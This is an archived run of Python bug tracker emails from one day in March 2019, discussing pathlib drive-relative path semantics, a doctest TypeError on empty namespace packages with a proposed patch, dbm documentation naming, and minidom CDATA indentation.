I would remove to move the script into the doc in 1 PR and just modify
Makefile in the other one. So the Makefile can be updated first.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Sat Mar 23 07:09:16 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 23 Mar 2019 11:09:16 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <CA+3bQGEHKvzJxpD_CNSOCX1ZUT0hCTgrc_j6YfzjzW40suj=Tw@mail.gmail.com>
Message-ID: <CA+3bQGER6tRnis4ErNdE887dhcrHf=-Aug38MKQM7bMf1N7FBQ@mail.gmail.com>


STINNER Victor <vstinner at redhat.com> added the comment:

Maybe others prefer to do both changes at once. I don't know.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Sat Mar 23 07:17:57 2019
From: report at bugs.python.org (Paul Moore)
Date: Sat, 23 Mar 2019 11:17:57 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1553337114.0.0.664410355884.issue36305@roundup.psfhosted.org>
Message-ID: <CACac1F--wHxcXXTaPnyOjMXM+Aoz1pd-1vdJKxTX5=m2hS4kpg@mail.gmail.com>


Paul Moore <p.f.moore at gmail.com> added the comment:

(Note: I consider all of these to be *extremely* obscure corner cases)

> 1. WindowsPath('C:a').absolute() should return WindowsPath('C:\\d\\a') but returns WindowsPath('C:a').
> This is caused by flawed logic in the parse_parts method of the _Flavour class.
>
> 2. WindowsPath('./b:a').absolute() should return WindowsPath('C:\\d\\b:a') but returns WindowsPath('b:a').
> This is caused by the limited interface of parse_parts, and affects the Path.absolute, Path.expanduser and Path.__rtruediv__ methods.

[Note there is no absolute() method - I assume you mean resolve()]

Why? If './b:a' resulted from joining '.' and 'b:a', then it seems to
me that 'b:a' is "absolute-ish" (drive-relative) and so any preceding
path should be ignored (just like joining '.' and '/a/b/c' on POSIX).
The problem here is more to do with the fact that the simple POSIX
"absolute or relative" dichotomy isn't complete for Windows -
drive-relative paths like C:foo have some of the characteristics of
absolute paths and some of the characteristics of relative paths.

To put it another way, I'm comfortable with WindowsPath("./b:a")
returning "WindowsPath("b:a"). Of course, that's because I read b:a as
a drive plus a filename. If you read it as a filename with a stream,
then your interpretation is correct. But unless you check for all of
the valid drives currently available, it's not possible to make that
choice - both interpretations are equally valid. In fact, if you have
a file "C", and add a stream "file1" to it, is "C:file1" a file on the
C drive, or a stream in the file C? The problem is genuinely ambiguous
in that case, and cannot be solved without making an arbitrary choice.
Worse, WindowsPath("w:fred").resolve(strict=False) technically can't
even take account of whether drive w exists or file w exists or has a
stream fred. In that case, the question is fundamentally unanswerable.

I'd be reluctant to "solve" this issue with a fix that doesn't address
that problem - it would simply be replacing one weird behaviour with
another in an obscure corner case. (It may be that the "fix" is simply
to document the choices that the code currently makes).

> 3. WindowsPath('./b:a').resolve() should return WindowsPath('C:\\d\\b:a') but returns WindowsPath('b:a').
> This is caused by missing logic in the resolve method and in Path.__str__

Same as (2)

> It'd be great if someone could review the PR so we can make progress with fixing the bugs.

I don't think we should worry about the PR until it's clearly
established what the correct resolution actually is (or even whether
we consider all of these cases as bugs).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Sat Mar 23 07:33:52 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 23 Mar 2019 11:33:52 +0000
Subject: [issue23205] Unit test needed for IDLE's GrepDialog.py's findfiles()
In-Reply-To: <1420791360.73.0.110066531981.issue23205@psf.upfronthosting.co.za>
Message-ID: <1553340832.71.0.378308116359.issue23205@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:


New changeset d60f658fc0278f3fcdadec8ddcab35b8ae03e1d1 by Cheryl Sabella in branch 'master':
bpo-23205: IDLE: Add tests and refactor grep's findfiles (GH-12203)
https://github.com/python/cpython/commit/d60f658fc0278f3fcdadec8ddcab35b8ae03e1d1


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23205>
_______________________________________

From report at bugs.python.org  Sat Mar 23 07:50:29 2019
From: report at bugs.python.org (Maor Kleinberger)
Date: Sat, 23 Mar 2019 11:50:29 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>
Message-ID: <1553341829.99.0.558639039335.issue36305@roundup.psfhosted.org>


Maor Kleinberger <kmaork at gmail.com> added the comment:

> (Note: I consider all of these to be *extremely* obscure corner cases)
One bug was enough for me :)

> [Note there is no absolute() method - I assume you mean resolve()]
Of course there is an absolute() method, I'm not sure what you are saying...

> it seems to me that 'b:a' is "absolute-ish" (drive-relative)
I think that is incorrect. As written here: https://docs.microsoft.com/en-us/windows/desktop/fileio/naming-a-file#fully-qualified-vs-relative-paths, "If a file name begins with only a disk designator but not the backslash after the colon, it is interpreted as a relative path to the current directory on the drive with the specified letter."
In that case, WindowsPath('C:a').is_absolute() should return False, (as it does today) and WindowsPath('C:a').absolute() should return a path on drive C:, with 'a' joined with the working directory in drive C:.

> I'm comfortable with WindowsPath("./b:a") returning WindowsPath("b:a")
I disagree with that as well. "./b:a" is explicitly a path relative to the CWD (to a file named b:a). On the other hand, "b:a" should be (an is, in most windows programs) interpreted as a drive relative path.
For example, the ntpath module handles these cases correctly. When located in the directory C:\\d, this is the ntpath behavior:
ntpath.abspath('b:a') -> 'B:\\a'
ntpath.abspath('.\\b:a') -> 'C:\\d\\b:a'

In conclusion, I stand by my original fix offers. They are correct according to windows' documentation and behavior.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Sat Mar 23 07:54:24 2019
From: report at bugs.python.org (Dutcho)
Date: Sat, 23 Mar 2019 11:54:24 +0000
Subject: [issue36406] doctest.testmod(empty_package) raises TypeError in 3.7
 (and no errors in 3.6)
Message-ID: <1553342064.53.0.424333207933.issue36406@roundup.psfhosted.org>


New submission from Dutcho <dutcho at ziggo.nl>:

In recent Python, a directory without __init__.py is also a package, and hence can be imported. When this directory/package is empty, and a doctest.testmod() is executed, the behaviour changed from 3.6 to 3.7, which I didn't find in the "what's new" documentation.

Minimal example:
>>> import doctest, os
>>> os.mkdir('empty_package')
>>> import empty_package
>>> doctest.testmod(empty_package)

Python 3.6.8 on Windows 7 prints
TestResults(failed=0, attempted=0)

Python 3.7.2 on Windows 7 raises below TypeError in doctest
Traceback (most recent call last):
  File "bug_empty_package.py", line 4, in <module>
    print(doctest.testmod(empty_package))
  File "...\Python37\lib\doctest.py", line 1949, in testmod
    for test in finder.find(m, name, globs=globs, extraglobs=extraglobs):
  File "...\Python37\lib\doctest.py", line 932, in find
    self._find(tests, obj, name, module, source_lines, globs, {})
  File "...\Python37\lib\doctest.py", line 982, in _find
    test = self._get_test(obj, name, module, globs, source_lines)
  File "...\Python37\lib\doctest.py", line 1063, in _get_test
    if filename[-4:] == ".pyc":
TypeError: 'NoneType' object is not subscriptable

----------
components: Library (Lib)
messages: 338670
nosy: Dutcho
priority: normal
severity: normal
status: open
title: doctest.testmod(empty_package) raises TypeError in 3.7 (and no errors in 3.6)
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36406>
_______________________________________

From report at bugs.python.org  Sat Mar 23 07:55:05 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Sat, 23 Mar 2019 11:55:05 +0000
Subject: [issue36342] test_venv failure when executed by test_multiprocessing
 and the platform lacks a functional sem_open()
In-Reply-To: <1552903359.9.0.770761638832.issue36342@roundup.psfhosted.org>
Message-ID: <1553342105.67.0.442236388956.issue36342@roundup.psfhosted.org>


Xavier de Gaye <xdegaye at gmail.com> added the comment:

Removing the bpo-35978 dependency as changeset 8bba81fd55873148c65b7d0e6a6effbd63048c76 that fixes bpo-35978 only skips test_multiprocessing when test_venv is run from a venv.

----------
dependencies:  -test_venv fails in Travis with GCC

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36342>
_______________________________________

From report at bugs.python.org  Sat Mar 23 08:02:23 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 23 Mar 2019 12:02:23 +0000
Subject: [issue23205] Unit test needed for IDLE's GrepDialog.py's findfiles()
In-Reply-To: <1420791360.73.0.110066531981.issue23205@psf.upfronthosting.co.za>
Message-ID: <1553342543.25.0.394251324173.issue23205@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12463
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23205>
_______________________________________

From report at bugs.python.org  Sat Mar 23 08:04:43 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 23 Mar 2019 12:04:43 +0000
Subject: [issue36381] Deprecate "#" argument format without PY_SSIZE_T_CLEAN
In-Reply-To: <1553086735.98.0.572102107616.issue36381@roundup.psfhosted.org>
Message-ID: <1553342683.19.0.640527398661.issue36381@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset d3c72a223a5f771f964fc34557c55eb5bfa0f5a0 by Inada Naoki in branch 'master':
bpo-36381: warn when no PY_SSIZE_T_CLEAN defined (GH-12473)
https://github.com/python/cpython/commit/d3c72a223a5f771f964fc34557c55eb5bfa0f5a0


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36381>
_______________________________________

From report at bugs.python.org  Sat Mar 23 08:05:28 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 23 Mar 2019 12:05:28 +0000
Subject: [issue36381] Deprecate "#" argument format without PY_SSIZE_T_CLEAN
In-Reply-To: <1553086735.98.0.572102107616.issue36381@roundup.psfhosted.org>
Message-ID: <1553342728.41.0.507882388062.issue36381@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36381>
_______________________________________

From report at bugs.python.org  Sat Mar 23 08:12:22 2019
From: report at bugs.python.org (Marco Rougeth)
Date: Sat, 23 Mar 2019 12:12:22 +0000
Subject: [issue36322] Argument typo in dbm.ndbm.open
In-Reply-To: <1552767909.74.0.734583361576.issue36322@roundup.psfhosted.org>
Message-ID: <1553343142.63.0.49954096436.issue36322@roundup.psfhosted.org>


Marco Rougeth <marco at rougeth.com> added the comment:

Hi Terry, thanks for reviewing this and sorry for not being clear enough.

About dbm.gnu.open:

The docs indeed uses ?flag?, in singular form, but it?s wrong because 1) the argument accepts, for some cases, 2 flags and, 2) the source code uses ?flags? in plural form.

In [1]: import dbm.gnu
In [2]: help(dbm.gnu.open)                                                                                          
Help on built-in function open in module _gdbm:

open(filename, flags='r', mode=438, /)
[...]

If you continue to read the docstring, there's an explanation about the cases where you can use two flags.

About dbm.ndbm.open:

For this one, the docs is also different from source code:

In [3]: import dbm.ndbm
In [4]: help(dbm.ndbm.open)                                                                                         
Help on built-in function open in module _dbm:

open(filename, flags='r', mode=438, /)
[...]

The scope of the patch on Github ends here. It only makes the documentation consistent to the source code.

What I wanted to point out is that, in the case of ndbm.open, it accepts a flags option (in plural form) when it actually accepts only one. And since changing it would not make any difference from an user perspective, I believe we should go for it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36322>
_______________________________________

From report at bugs.python.org  Sat Mar 23 08:21:49 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 23 Mar 2019 12:21:49 +0000
Subject: [issue23205] Unit test needed for IDLE's GrepDialog.py's findfiles()
In-Reply-To: <1420791360.73.0.110066531981.issue23205@psf.upfronthosting.co.za>
Message-ID: <1553343709.06.0.411419415706.issue23205@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 5ab665005b7f8a21c133208f140389e3bb1a3294 by Miss Islington (bot) in branch '3.7':
bpo-23205: IDLE: Add tests and refactor grep's findfiles (GH-12203)
https://github.com/python/cpython/commit/5ab665005b7f8a21c133208f140389e3bb1a3294


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23205>
_______________________________________

From report at bugs.python.org  Sat Mar 23 08:23:39 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 23 Mar 2019 12:23:39 +0000
Subject: [issue23205] Unit test needed for IDLE's GrepDialog.py's findfiles()
In-Reply-To: <1420791360.73.0.110066531981.issue23205@psf.upfronthosting.co.za>
Message-ID: <1553343819.08.0.671377900403.issue23205@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23205>
_______________________________________

From report at bugs.python.org  Sat Mar 23 08:48:23 2019
From: report at bugs.python.org (Paul Moore)
Date: Sat, 23 Mar 2019 12:48:23 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1553341829.99.0.558639039335.issue36305@roundup.psfhosted.org>
Message-ID: <CACac1F-X7sSHheyaCcvXqmmaU77rkwjajNxnU8Bw9E_E4_=CuA@mail.gmail.com>


Paul Moore <p.f.moore at gmail.com> added the comment:

> > [Note there is no absolute() method - I assume you mean resolve()]
> Of course there is an absolute() method, I'm not sure what you are saying...

Huh, weird. It's not in
https://docs.python.org/3.7/library/pathlib.html But you're right, it
does exist...

> > it seems to me that 'b:a' is "absolute-ish" (drive-relative)
> I think that is incorrect. As written here: https://docs.microsoft.com/en-us/windows/desktop/fileio/naming-a-file#fully-qualified-vs-relative-paths, "If a file name begins with only a disk designator but not the backslash after the colon, it is interpreted as a relative path to the current directory on the drive with the specified letter."
> In that case, WindowsPath('C:a').is_absolute() should return False, (as it does today) and WindowsPath('C:a').absolute() should return a path on drive C:, with 'a' joined with the working directory in drive C:.

OK, sure. My point is that "relative path to the current directory on
the drive with the specified letter" isn't a concept that matches how
"relative paths" are typically interpreted (most code interprets
"relative" as "relative to the CWD", and doesn't deal with the
possibility of per-drive CWDs).

> > I'm comfortable with WindowsPath("./b:a") returning WindowsPath("b:a")
> I disagree with that as well. "./b:a" is explicitly a path relative to the CWD (to a file named b:a). On the other hand, "b:a" should be (an is, in most windows programs) interpreted as a drive relative path.

Windows is inconsistent here - it can *also* be interpreted as a path
to a stream within a file. But it (virtually) never is.

> For example, the ntpath module handles these cases correctly. When located in the directory C:\\d, this is the ntpath behavior:
> ntpath.abspath('b:a') -> 'B:\\a'
> ntpath.abspath('.\\b:a') -> 'C:\\d\\b:a'

That second case only results in a valid filename if b:a is viewed as
a file-with-stream, but the first only makes sense if b:a is viewed as
a directory-relative file.

Also, in effect it means that Path(".") / some_path can return a
completely different location than some_path. Following documented
behaviour or not, that violates a pretty fundamental assumption that
users would expect to hold. And I think the problem is that
"drive-relative paths" are somewhat odd things that don't fit well in
the POSIX-derived model that Python's path APIs follow.

> In conclusion, I stand by my original fix offers. They are correct according to windows' documentation and behavior.

I remain of the view that the Windows documentation introduces a
concept ("relative path to the current directory on a specific drive")
that isn't well modelled by the current APIs, and the only "proper"
solution is to extend the API (like with the ideas of "drive" and
"reserved filenames", which are Windows-specific, but supported
everywhere). In the absence of that, I believe that any "fix" within
the existing model will have odd edge cases, and I don't think these
ones (specifically the "./b:a" cases) have *any* "obvious" answer.

I'm happy to agree to differ on this point, though. If the new
behaviour is just a side-effect of fixing absolute() to match the
cases Eryk commented on, then that's fine - I just wouldn't describe
the particular ./b:c cases as "bug fixes", rather as "changes in the
behaviour of cases no-one should actually care about" :-)

BTW, was there an actual use case for this issue, or was it simply a
theoretical concern? I'm actually much happier considering these cases
as "undefined" in practice (and just "not mentioned" in the docs),
rather than trying to pin it down precisely. I don't know of a case
where it actually benefits us to document this level of arguable
behaviour.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Sat Mar 23 08:51:02 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 23 Mar 2019 12:51:02 +0000
Subject: [issue36406] doctest.testmod(empty_package) raises TypeError in 3.7
 (and no errors in 3.6)
In-Reply-To: <1553342064.53.0.424333207933.issue36406@roundup.psfhosted.org>
Message-ID: <1553345462.54.0.96121856692.issue36406@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

This might be due to changes introduced in a23d30f64bd9c5655cfae7f359d4279c47f6cab3 where __file__ is set to None. Hence the below returns None but before the commit this used to return an AttributeError and print "missing" . This was not handled in doctest causing error. Adding Barry for confirmation.

# foo.py

import empty_package
print(getattr(empty_package, '__file__', 'missing'))

?  cpython git:(2b5937ec0a) ? git checkout a23d30f64bd9c5655cfae7f359d4279c47f6cab3 && make -s -j4 > /dev/null
Previous HEAD position was 2b5937ec0a bpo-32734: Fix asyncio.Lock multiple acquire safety issue (GH-5466) (#5501)
HEAD is now at a23d30f64b bpo-32303 - Consistency fixes for namespace loaders (GH-5481) (#5503)
?  cpython git:(a23d30f64b) ? ./python.exe foo.py
None
?  cpython git:(a23d30f64b) ? git checkout a23d30f64bd9c5655cfae7f359d4279c47f6cab3~1 && make -s -j4 > /dev/null
Previous HEAD position was a23d30f64b bpo-32303 - Consistency fixes for namespace loaders (GH-5481) (#5503)
HEAD is now at 2b5937ec0a bpo-32734: Fix asyncio.Lock multiple acquire safety issue (GH-5466) (#5501)
?  cpython git:(2b5937ec0a) ? ./python.exe foo.py
missing

There is a unittest with empty package and it's just that doctest.testmod(mod) was not called on the empty package causing this not to be found. A simple patch would be to check for None where None is a valid value for DocTest. Another possible fix would be to have module.__name__ for None but since this is for empty packages I assume there won't be any doctest to parse in DocTest constructor.

diff --git a/Lib/doctest.py b/Lib/doctest.py
index 79d91a040c..e97555ed2f 100644
--- a/Lib/doctest.py
+++ b/Lib/doctest.py
@@ -1060,7 +1060,7 @@ class DocTestFinder:
             filename = None
         else:
             filename = getattr(module, '__file__', module.__name__)
-            if filename[-4:] == ".pyc":
+            if filename and filename[-4:] == ".pyc":
                 filename = filename[:-1]
         return self._parser.get_doctest(docstring, globs, name,
                                         filename, lineno)
diff --git a/Lib/test/test_doctest.py b/Lib/test/test_doctest.py
index f1013f2572..b99f2aea2f 100644
--- a/Lib/test/test_doctest.py
+++ b/Lib/test/test_doctest.py
@@ -699,6 +699,7 @@ class TestDocTestFinder(unittest.TestCase):
                 support.forget(pkg_name)
                 sys.path.pop()
             assert doctest.DocTestFinder().find(mod) == []
+            doctest.testmod(mod)


 def test_DocTestParser(): r"""

Without patch the line doctest.testmod(mod) in unittest fails as below with TypeError and with patch the tests pass

$ ./python.exe Lib/test/test_doctest.py
doctest (doctest) ... 66 tests with zero failures
doctest (test.test_doctest) ... 516 tests with zero failures
test_empty_namespace_package (__main__.TestDocTestFinder) ... ERROR

======================================================================
ERROR: test_empty_namespace_package (__main__.TestDocTestFinder)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "Lib/test/test_doctest.py", line 702, in test_empty_namespace_package
    doctest.testmod(mod)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/doctest.py", line 1947, in testmod
    for test in finder.find(m, name, globs=globs, extraglobs=extraglobs):
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/doctest.py", line 932, in find
    self._find(tests, obj, name, module, source_lines, globs, {})
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/doctest.py", line 982, in _find
    test = self._get_test(obj, name, module, globs, source_lines)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/doctest.py", line 1063, in _get_test
    if filename[-4:] == ".pyc":
TypeError: 'NoneType' object is not subscriptable

----------------------------------------------------------------------

Ran 1 test in 0.027s

FAILED (errors=1)
Traceback (most recent call last):
  File "Lib/test/test_doctest.py", line 3032, in <module>
    test_main()
  File "Lib/test/test_doctest.py", line 3015, in test_main
    support.run_unittest(__name__)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/test/support/__init__.py", line 2064, in run_unittest
    _run_suite(suite)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/test/support/__init__.py", line 1983, in _run_suite
    raise TestFailed(err)
test.support.TestFailed: Traceback (most recent call last):
  File "Lib/test/test_doctest.py", line 702, in test_empty_namespace_package
    doctest.testmod(mod)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/doctest.py", line 1947, in testmod
    for test in finder.find(m, name, globs=globs, extraglobs=extraglobs):
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/doctest.py", line 932, in find
    self._find(tests, obj, name, module, source_lines, globs, {})
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/doctest.py", line 982, in _find
    test = self._get_test(obj, name, module, globs, source_lines)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/doctest.py", line 1063, in _get_test
    if filename[-4:] == ".pyc":
TypeError: 'NoneType' object is not subscriptable

----------
nosy: +barry, xtreak
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36406>
_______________________________________

From report at bugs.python.org  Sat Mar 23 09:10:15 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Sat, 23 Mar 2019 13:10:15 +0000
Subject: [issue36342] test_venv failure when executed by test_multiprocessing
 and the platform lacks a functional sem_open()
In-Reply-To: <1552903359.9.0.770761638832.issue36342@roundup.psfhosted.org>
Message-ID: <1553346615.3.0.947114669907.issue36342@roundup.psfhosted.org>


Change by Xavier de Gaye <xdegaye at gmail.com>:


----------
keywords: +patch
pull_requests: +12464
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36342>
_______________________________________

From report at bugs.python.org  Sat Mar 23 10:15:31 2019
From: report at bugs.python.org (Maor Kleinberger)
Date: Sat, 23 Mar 2019 14:15:31 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>
Message-ID: <1553350531.62.0.365440532798.issue36305@roundup.psfhosted.org>


Maor Kleinberger <kmaork at gmail.com> added the comment:

> OK, sure. My point is that "relative path to the current directory on
the drive with the specified letter" isn't a concept that matches how
"relative paths" are typically interpreted (most code interprets
"relative" as "relative to the CWD", and doesn't deal with the
possibility of per-drive CWDs).

In pathlib, each path object has a drive, a root and path parts. Seeing pathlib's logic and tests (many tests are specifically testing the behavior of drive-relative paths), I think pathlib completely supports drive relative paths, with the exception of a few small bugs.


> > > I'm comfortable with WindowsPath("./b:a") returning WindowsPath("b:a")
> > I disagree with that as well. "./b:a" is explicitly a path relative to the CWD (to a file named b:a). On the other hand, "b:a" should be (an is, in most windows programs) interpreted as a drive relative path.
> Windows is inconsistent here - it can *also* be interpreted as a path
to a stream within a file. But it (virtually) never is.

I think that when parsing windows paths, pathlib should behave exactly like the windows API does. This is crucial for interaction with the windows API itself or with other applications that might use it. I don't see any other way to parse windows paths other than according to the normal windows behavior.
Having said that, pathlib does a pretty good keeping the compatibility with the windows API, except for the small cases I found and brought forward in this issue report. From the information I gathered, when a path starts with one letter followed by a colon, windows treats it as a drive and continues parsing the rest of the path separately. That means that if you want to specify a path to a file in the CWD, with a single-character name and a file stream, you must precede the path with a "./" (See eryksun's comment on my PR before I fixed it https://github.com/python/cpython/pull/12361#discussion_r266193727).
Here is an example for the behavior of the windows API in this case:
win32api.GetFullPathName('b:a') -> 'B:\\a'
win32api.GetFullPathName('./b:a') -> 'C:\\Users\\maor\\b:a'


> Also, in effect it means that Path(".") / some_path can return a
completely different location than some_path.

This behavior is completely normal. Should WindowsPath('C:\\f') / WindowsPath('D:\\f2') return anything other than WindowsPath('D:/f2')?


> And I think the problem is that "drive-relative paths" are somewhat odd things that don't fit well in the POSIX-derived model that Python's path APIs follow.

As I wrote earlier, I think this is incorrect as the pathlib.Path class holds the attributes _drv, _root and _parts, which allows it to fully support drive-relative paths, by having a _drv and not having a _root.


> I'm happy to agree to differ on this point, though. If the new
behaviour is just a side-effect of fixing absolute() to match the
cases Eryk commented on, then that's fine - I just wouldn't describe
the particular ./b:c cases as "bug fixes", rather as "changes in the
behaviour of cases no-one should actually care about" :-)

I'm still that my case is convincing enough, but if not - does that require me to make any changes in order to make progress with my PR?


> BTW, was there an actual use case for this issue, or was it simply a
theoretical concern?

I've had an annoying bug using pathlib, traced it to the first bug I've presented in this issue, and discovered a few similar unhandled edge cases. Again, the "bugginess" I set upon to fix (call it a bug or  an undefined behavior) is an incompatibility issue with the way paths are normally treated in windows.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Sat Mar 23 10:37:45 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 23 Mar 2019 14:37:45 +0000
Subject: [issue12790] doctest.testmod does not run tests in functools.partial
 functions
In-Reply-To: <1313812473.15.0.9197967798.issue12790@psf.upfronthosting.co.za>
Message-ID: <1553351865.56.0.677871434921.issue12790@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

functools.partial returns a partial object and detecting partials is not handled inside the finder when given a module. Perhaps partials could be handled as a special case to detect tests in them?

diff --git a/Lib/doctest.py b/Lib/doctest.py
index 79d91a040c..aeff913c9a 100644
--- a/Lib/doctest.py
+++ b/Lib/doctest.py
@@ -95,6 +95,7 @@ __all__ = [
 import __future__
 import difflib
 import inspect
+import functools
 import linecache
 import os
 import pdb
@@ -962,6 +963,8 @@ class DocTestFinder:
             return module.__name__ == object.__module__
         elif isinstance(object, property):
             return True # [XX] no way not be sure.
+        elif isinstance(object, functools.partial):
+            return True
         else:
             raise ValueError("object must be a class or function")
 
@@ -989,7 +992,8 @@ class DocTestFinder:
                 valname = '%s.%s' % (name, valname)
                 # Recurse to functions & classes.
                 if ((inspect.isroutine(inspect.unwrap(val))
-                     or inspect.isclass(val)) and
+                     or inspect.isclass(val)
+                     or isinstance(val, functools.partial)) and
                     self._from_module(module, val)):
                     self._find(tests, val, valname, module, source_lines,
                                globs, seen)

----------
nosy: +xtreak
versions: +Python 3.8 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12790>
_______________________________________

From report at bugs.python.org  Sat Mar 23 10:47:51 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 23 Mar 2019 14:47:51 +0000
Subject: [issue36406] doctest.testmod(empty_package) raises TypeError in 3.7
 (and no errors in 3.6)
In-Reply-To: <1553342064.53.0.424333207933.issue36406@roundup.psfhosted.org>
Message-ID: <1553352471.73.0.163015467342.issue36406@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

So this was backported to 3.6 too with but caused similar issues reported in issue32872 to be reverted back.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36406>
_______________________________________

From report at bugs.python.org  Sat Mar 23 11:31:16 2019
From: report at bugs.python.org (Paul Moore)
Date: Sat, 23 Mar 2019 15:31:16 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1553350531.62.0.365440532798.issue36305@roundup.psfhosted.org>
Message-ID: <CACac1F-E=P9Mzk+k0+Yrt_PU7bsVer_XncXOXPCNkp6zy543CA@mail.gmail.com>


Paul Moore <p.f.moore at gmail.com> added the comment:

> does that require me to make any changes in order to make progress with my PR?

I'm not going to block this PR. I'd prefer it if we at least
documented the agreed behaviour, so that in future people don't come
along and say the new behaviour is wrong, but again I'm not going to
insist. I doubt I'll ever hit this edge case myself (either in code of
my own, or when working with others) so my only real interest is in
flagging up the concern. I'd like to hear what Eryk has to say on the
matter, though.

Ultimately the only person whose views matter are yours (as the person
writing the code) whoever commits the change.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Sat Mar 23 11:38:49 2019
From: report at bugs.python.org (Vladimir Surjaninov)
Date: Sat, 23 Mar 2019 15:38:49 +0000
Subject: [issue36407] xml.dom.minidom wrong indentation writing for CDATA
 section
Message-ID: <1553355529.11.0.873645774038.issue36407@roundup.psfhosted.org>


New submission from Vladimir Surjaninov <vsurjaninov at gmail.com>:

If we are writing xml with CDATA section and leaving non-empty indentation and new-line parameters, a parent node of the section will contain useless indentation, that will be parsed as a text.

Example:
>>>doc = minidom.Document()
>>>root = doc.createElement('root')
>>>doc.appendChild(root)
>>>node = doc.createElement('node')
>>>root.appendChild(node)
>>>data = doc.createCDATASection('</data>')
>>>node.appendChild(data)
>>>print(doc.toprettyxml(indent=?  ? * 4)
<?xml version="1.0" ?>
<root>
    <node>
<![CDATA[</data>]]>    </node>
</root>

If we try to parse this output doc, we won?t get CDATA value correctly.

Following code returns a string that contains only indentation characters:
>>>doc = minidom.parseString(xml_text)
>>>doc.getElementsByTagName('node')[0].firstChild.nodeValue

Returns a string with CDATA value and indentation characters:
>>>doc.getElementsByTagName('node')[0].firstChild.wholeText


But we have a workaround:
>>>data.nodeType = data.TEXT_NODE
?
>>>print(doc.toprettyxml(indent=?  ? * 4)
<?xml version="1.0" ?>
<root>
    <node><![CDATA[</data>]]></node>
</root>

It will be parsed correctly:
>>>doc.getElementsByTagName('node')[0].firstChild.nodeValue
</data>

But I think it will be better if we fix the writing function, which would set this as default behavior.

----------
